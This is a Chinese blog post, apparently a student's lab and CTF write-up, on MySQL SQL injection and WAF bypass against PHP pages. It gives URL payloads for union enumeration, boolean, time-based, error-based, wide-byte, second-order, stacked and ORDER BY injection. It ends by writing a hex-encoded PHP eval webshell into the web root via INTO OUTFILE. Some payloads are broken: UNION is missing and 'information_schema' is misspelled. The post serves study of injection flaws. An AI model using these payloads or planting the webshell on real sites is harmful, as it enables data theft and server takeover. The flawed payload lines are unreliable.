Hpdoger's Blog.

sql简单的注入和常见的waf绕过

Word count: 3,259 / Reading time: 12 min
2018/05/28 Share

写在前面

前一阵子为了做Ctf题临时补了一阵子mysql的相关知识,了解了一些简单的注入流程:查字段数->查库->查表->爆字段。但是应用实战或者其他稍微困难一些的Sql注入题这些还远远不够,所以决定重新学习,系统的做一下归类,并记录一下学习的过程


关于环境

本地用Phostudy搭建的PHP+MYSQL环境,写了一个简单的php,类似于无脑的ctf注入题,get传参Id值

简单的注入

刚才我们写的Php就是一个没有任何过滤的后端,值得注意的是,#的注释功能现在好像被和谐掉了,在Hackbar只能编码为%23才能代替#的作用(我竟然花了好长时间反复查看自己到底有没有过滤qaq),接下来看一下这类绝迹注入的流程.如果你本地有DVWA的环境,就直接注Simple类型就好了,先贴一张表的结构
表结构

查字段

1
?id=1' order by 1/2/3... %23

找到一个有回显的注入点,手动去猜字段,返回异常的N-1即为字段数

查库

这里字段数确认为3

1
?id=-1' select 1,2,database() %23

两个月前刚学的时候没有搞清楚没什么Id要改成-1,其实很好理解,mysql的查询如果你的查询是存在的即返回结果,若查询不存在即返回查询结果.
avator

查表

1
?id=-1' select 1,2,table_name from infomation_schema.tables where table_schema=database() %23

查列名

1
?id=-1' select 1,2,column_name from information_schema.columns where table_name='user' %23

其中User为我们刚才查到的表

查列名下的具体值

1
?id=-1' select 1,2,user from user %23

选择查询的列为user列,一般来说ctf的题都是让你查flag列下的值,Dump出来就好.

关于Information_schema

MySQL 中有一个数据库叫做information_schema,储存数据库和表的元信息。information_schema中有两个重要的表,一个叫tables,储存表的元信息,有两列特别重要,table_schema是所属数据库,table_name是表名称。另一个表示columns,储存列的源信息,table_name列是所属表名称,column_name列是列名称

盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。其实我们用sqlmap完全可以跑,但是只会用工具最多也就是个脚本小子,要想更好的运用Sqlmap进行注入,我觉得应该从基础学起,搞清楚原理才是最重要的。

布尔盲注

先贴一张自己写的php
avator
即回显只有ture or false

limit

普及一下用法,用mysql演示一下:
limit1

limit2

limit3

猜库长

1
?id=1' and length(database())=? %23

?即为猜解的裤长,可以用二分法,及大于1,小于100,再从50划分长度。若条件成立返回ture

猜库名

substr()函数

substr(string,start,length)

  • string(必需)规定要返回其中一部分的字符串。

  • start(必需)规定在字符串的何处开始。

  • length(可选)规定被返回字符串的长度。

令外用到ascii()函数,返回查询到的字符的ascii的十进制值,通过大于或者小于的逻辑判断这个值为多少,进而遍历完整的数据库名。
?id=1' and ascii(substr(database(),1,1))>? %23
通过分析,返回的ascii确认为104,对应‘h’,与库名的hpdoger的第一个字母相应。

猜表名

这里需要在substr里嵌套mysql的语句,因为我们要找到对应的表,结合普通查询的语句来构造我们的payload

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>116 %23

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))<118 %23

两者返回都为ture,可以判断第一个字母ascii值为117
chabiao
chabiao

猜列名

lieming
此语句猜解的是user表的第一个列名,如是想要猜解其它列名,则更改Limit 的值

猜字段值

ziduanzhi
道理相同

基于时间的盲注

返回页面无法判断语句是否执行, 面对这种情况,基于布尔的SQL盲注就很难发挥作用了(因为基于布尔的SQL盲注的前提是Web程序返回的页面存在true和false两种不同的页面)。这时

if()与sleep()

其实,基于时间的盲注也是运用逻辑判断。首先看一下if()函数:

  • if()
    if(expr1,expr2,expr3)
    如果 expr1 为真,则 IF()函数执行expr2语句; 否则 IF()函数执行expr3语句。

  • sleep()

    1
    sleep(seconds)

延时一段时间

执行

基本思想跟与布尔盲注一样,给一句话,其他的换成相应查询就可以了

1
?id=1 and if(ascii(substr(database(),1,1))>100,sleep(10),null)

关于绕过Waf

浅谈编码绕过waf

url编码

这两天一直在刷sqli-labs,做到现在有一点感触。一开始知道有url编码绕过这种方式,但是对于为什么能绕过成功心里是没B数的。经过这两天的测试,我想说的是,这种url编码绕过简直扯淡。人家waf过滤掉了你,你就算编码传过去一个值,到了php页面又被还原再判断,所以相当于没有任何作用。但还是写一下关于url编码的一些理解:

在GET传参的时候,Chrome的url会自动进行编码,而编码形式就是utf-8。一般来说,这个自动编码保留字母和数字不编的形式。其实,我感觉utf-8编码就是为了应对中文问题才诞生的。再说一下解码的问题吧,最初我不理解在php后端什么时候将url解码,后来自己用php传参,echo的结果显示,我们在用$_GET[]时,就将url给解码了。即还原了你的传参原值。所以url编码绕过就是扯淡

%0A换行污染

在GET请求时,将URL的SQL注入关键字用%0A分隔,%0A是换行符,在mysql中可以正常执行。可以用%0a代替空格使用

16进制绕过

这个目前理解尚浅,在列库名或者表名的时候用过,因为可以避免使用单引号闭合。在concat函数里用过,作为分隔符。即0x7e表示‘~’。

报错注入

不得不说updatexml()这个报错函数真的太强了,首先你要了解Xpath。在Mysql中使用了一下这个函数,发现当XPath 使用路径表达式不符合规范时,就会报错,而报错的内容就非常神奇了。下面贴一张报错内容和语法:

1
or updatexml(1,concat(0x7e,database()),1)

0x7e是为了构造~分割
1
它爆出了我们查询的库名,只要稍加修改,就可以查表、列、字段等。功能强大,依靠它打lab简直爽的不行。报错注入的姿势有很多,po一个写了十种报错函数的帖子

宽子节注入

对于mysql_escape_string或者是mysql_real_escape_string函数转义的单引号,我们都可以用宽子节注入使单引号逃逸。

  • 在GET类型中,我们在单引号前加一个Ascii大于128的编码,因为mysql是以gbk形式读编码的。例如我们构造%df’,则转义后变成%df%5c%27,那么mysql执行语句时,看到前两个编码会结合为汉字,从而是单引号逃逸。
  • 在POST类型中,我们无法再使用%df进行宽子节注入。POST与GET不同,php端不对%df解码(参考对url编码的理解),而是在执行sql查询的时候对%df再进行一次utf-8的编码。结果就是,你在进行sql查询时本想借助%df逃逸,但是现在没有%df可以利用。网上提供了另一种用utf-16进行宽子节注入的payload,这里我拿来用一下,至于为什么utf-16可以借助逃逸,这个我以后学习了16和8的具体转换方式再补上。playload:
    1
    ?id=1� '

二次注入

二次注入顾名思义,这里简单说一下储值型的二次注入:我们将要执行的sql语句通过注册用户操作,存储到服务器里,当我们再一次进行操作时直接调用服务器里我们存储的sql语句就可以了(例如修改密码时)。举一个lab里的例子,我们注册用户登陆后,session会获得一个用户名,在那道题里,没有对session得到的用户名进行过滤,而是直接把密码更新到获取的session的用户名下,如果我们的用户名为admin’#,那么就相当于更新了Admin的密码。

堆叠注入

堆叠注入区别于二次注入,当没有创建新用户的选项时,可以考虑堆叠注入,在登陆时创建一个新用户入。先看一下labs-42的源码

1
2
3
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以对Username过滤但是未对password过滤,我们就可以为所欲为了。可以通过报错或者盲注查询出表名,构造语句向表中插入用户数据。payload如下:
login_user=123&login=a';insert into users values(16,'Hodoger','zq1160307775') #
show tables成功显示我们插入的用户,前提是你要查到这个登陆基于users这个表,至于怎么查,各显神通了。

order by注入

order by不能与union select 连用,所以注入就要换思路,可以用报错注入或者延时注入。

  • 报错注入的话,在之前以后列出过十种报错函数可以利用
  • 还有一种注入手段是依靠rand()函数,order by 后的参数直接为rand(),rand中含有表达式,根据rand(ture/false)返回时序列不同来判断表达式是否正确,这里我们以查询库名为例写一个payload猜解:
    1
    2
    3
    ?sort=rand(ascii(left(database(),1))>150)

    ?sort=rand(ascii(left(database(),1))<200)

sort参数php端用来接收order by处理的值,其实和布尔盲注的思想有些类似

  • 延时注入
    与基于时间的盲注思路差不多,构造 and if语句

权限的注入

into outfile的传马

MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:
select [列名] from table into outfile '目标文件' [option]
意思就是你查询的列名导出到目标文件中。
具体看一道sql labs 46,基于order by 注入的题目
payload:

?sort=1 into outfile 'D:\\phpStudy\\WWW\\sqli-labs-master\\Less-46\\test.php' lines terminated by 0x3c3f706870206576616c28245f504f53545b6870646f6765725d293b203f3e
sort是题目里给的order by要查询的参数,outfile后接网站的绝对路径,test.php是我要写入的文件(没有时新建),lines terminated by接木马的16进制。union select 也可以与into outfile联合使用,因为这道题是order by注入无法使用union select写入,所以借助了lines terminated by 。
但是我在写入的时候出现下面的页面
shibai
这就是into outfile的限制了。写入之前先看看into outfile 的权限吧:
如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL

3大先天条件

  1. 知道物理路径(into outfile ‘WEB目录的物理路径’)这样才能写对目录。(默认的当前目录是MySQL的数据目录)

  2. 能够使用union(也就是MySQL版本在3以上)

  3. 没有对’进行过滤(因为outfile后面的’’不可以用其他函数代替转换)

2大后天条件

  1. MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)

  2. 对web目录有写权限。
    很明显,我没有file_priv的权限,在mysql里查看一下也能看到,如图
    quanxian
    可以自行百度一下如何在windows下开启file_priv的权限,其实就是在my.ini里把路径置空就好,重启mysql。开启后再执行payload显示如下图:
    chenggong
    在路径下看一下传马是否成功,如图
    muma
    菜刀连接一下,成功
    caodao
    传马成功,下一步就是花样提权。不过目前导出文件的file_priv几乎都不会开启,即root的权限过低,所以可以想办法把它开启。


写在最后

最近大佬丢了我一本sqli-labs的武林秘籍,手工打完了还是有很大收获。其实里面很多题也是可以放到sqlmap里跑,但是做个脚本小子并不是我想要的,最近忙完了转专业这些事,准备闭关修炼一下。先在这里贴一些sqlmap里tamper的用法和介绍,博客总结的很好,而且也po出来一些Url,可以参考一下。

CATALOG
  1. 1. 写在前面
  2. 2. 关于环境
  3. 3. 简单的注入
    1. 3.1. 查字段
    2. 3.2. 查库
    3. 3.3. 查表
    4. 3.4. 查列名
    5. 3.5. 查列名下的具体值
    6. 3.6. 关于Information_schema
  4. 4. 盲注
    1. 4.1. 布尔盲注
      1. 4.1.1. limit
      2. 4.1.2. 猜库长
      3. 4.1.3. 猜库名
      4. 4.1.4. 猜表名
      5. 4.1.5. 猜列名
      6. 4.1.6. 猜字段值
    2. 4.2. 基于时间的盲注
      1. 4.2.1. if()与sleep()
      2. 4.2.2. 执行
  5. 5. 关于绕过Waf
    1. 5.1. 浅谈编码绕过waf
      1. 5.1.1. url编码
      2. 5.1.2. %0A换行污染
      3. 5.1.3. 16进制绕过
    2. 5.2. 报错注入
    3. 5.3. 宽子节注入
    4. 5.4. 二次注入
    5. 5.5. 堆叠注入
    6. 5.6. order by注入
  6. 6. 权限的注入
    1. 6.1. into outfile的传马
  7. 7. 写在最后